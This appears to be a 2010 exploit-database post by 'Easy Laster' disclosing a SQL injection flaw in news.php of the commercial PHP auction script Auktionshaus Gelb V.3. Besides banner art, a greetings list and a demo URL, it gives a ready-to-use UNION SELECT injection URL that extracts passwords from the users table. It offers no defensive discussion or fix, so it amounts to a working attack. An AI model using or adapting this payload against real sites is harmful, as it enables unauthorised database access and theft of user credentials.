Auktionshaus Gelb version 3 suffers from a remote SQL injection vulnerability in news.php.
2e129ed2c68f568791b31e54017eead2a6f7c246d4a92732ffca6ca40515c8e8
# Exploit Title: AuktionshausGelb V.3 SQL Injection news.php
# Date: 17.02.2010
# Author: Easy Laster
# Tested on: windows xp
########################################################################
##AuktionshausGelb V.3 SQL Injection news.php ##
########################################################################
########################################################################
## _ _ _ _ ##
##| |_ ___ ___ _____ ___|_|___| |_ ___ ___ ___ ___| |_ ##
##| _| -_| .'| |___| | | _| -_| _| | -_| _| ##
##|_| |___|__,|_|_|_| |_|_|_|_| |___|_| |_|_|___|_| ##
## ##
########################################################################
##########################################################################
#Script: Auktionshaus Gelb V.3 #
#Vulnerabilities [ SQL Injection ] #
#Language: [ PHP ] #
#Download: [ buy this script ] #
#Founder: [ ea$y laster ] #
#Peace to [ -tmh- ,0qwl ,Crypter ,Dr.ChAoS ,dremicz ,eddy14 ,HANNIBAL ] #
#[ Lidloses_Auge ,n00bor, Rip ,Sens0r ,-=Player=-] #
#Price: [ Commercial License EUR 249.90 #
#DEMO : http://xmedien.e-ee.de/auktion3/ #
#############################################################################
#http://[demo].de/news.php?id=-1+union+select+1,2,password,4,5+from+users+--#
#############################################################################